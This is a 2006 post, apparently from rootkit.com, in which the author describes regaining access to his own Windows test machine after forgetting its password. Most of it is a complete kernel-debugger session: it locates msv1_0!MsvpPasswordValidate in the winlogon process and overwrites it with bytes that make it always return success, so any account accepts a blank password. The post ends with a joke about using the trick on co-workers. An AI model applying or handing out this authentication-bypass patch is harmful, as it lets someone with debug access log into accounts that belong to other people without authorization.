Bypassing your testbox's login password
@      Aug 10 2006, 16:21 (UTC+0)
bugcheck writes: After living out of a duffle bang for 2 months now i've finally got all my stuff back and have settled into a new apartment and finally have dev PC's again, W00h00! So this isnt the first have had to do this to recover an install with a forgotten password but figured id share it incase you are able to take advantage of it (thx to a friend for pointing out what function did the trick). As stupid as I am I always pick those unique but easy to remember passwords that of course ill never forget, use it once and shelf the image for months at a time and then of course, forget it. In my case today its my dev box!!! Luckly i had been using it as a test machine when i first got it so i happened to already have a boot.ini entry to kernel debug on 1394 and of course had my laptop handy. I know there are better ways to recover a forgotten password but of course its not as cool as this! =P It doesnt reset it but at least you can log in again...

Happy debugging,
Chris

kd> !process 0 0 winlogon.exe
PROCESS 817bb978 SessionId: 0 Cid: 0260 Peb: 7ffdc000 ParentCid: 0168
DirBase: 05e40060 ObjectTable: e148a858 HandleCount: 455.
Image: winlogon.exe

kd> .process /p /r 817bb978
Implicit process is now 817bb978
.cache forcedecodeuser done
Loading User Symbols
...................................................
kd> u msv1_0!MsvpPasswordValidate l3
msv1_0!MsvpPasswordValidate:
77c79927 ??
^ Memory access error in 'u msv1_0!MsvpPasswordValidate l3'

kd> .pagein msv1_0!MsvpPasswordValidate
You need to continue execution (press 'g' ) for the pagein to be brought in. When the debugger breaks in again, the page will be present.

kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
80526da8 cc int 3

kd> u msv1_0!MsvpPasswordValidate l3
msv1_0!MsvpPasswordValidate:
77c79927 8bff mov edi,edi
77c79929 55 push ebp
77c7992a 8bec mov ebp,esp

kd> eq msv1_0!MsvpPasswordValidate cccc000cc201b0

kd> u msv1_0!MsvpPasswordValidate l3
msv1_0!MsvpPasswordValidate:
77c79927 b001 mov al,0x1
77c79929 c20c00 ret 0xc
77c7992c cc int 3

kd> ** YOU CAN NOW LOGIN WITH A BLANK PASSWORD!
kd> ** DONT BE SCREWIN WITH YOUR CO-WORKERS NOW =p

kd> g


(c) www.rootkit.com / http://www.rootkit.com/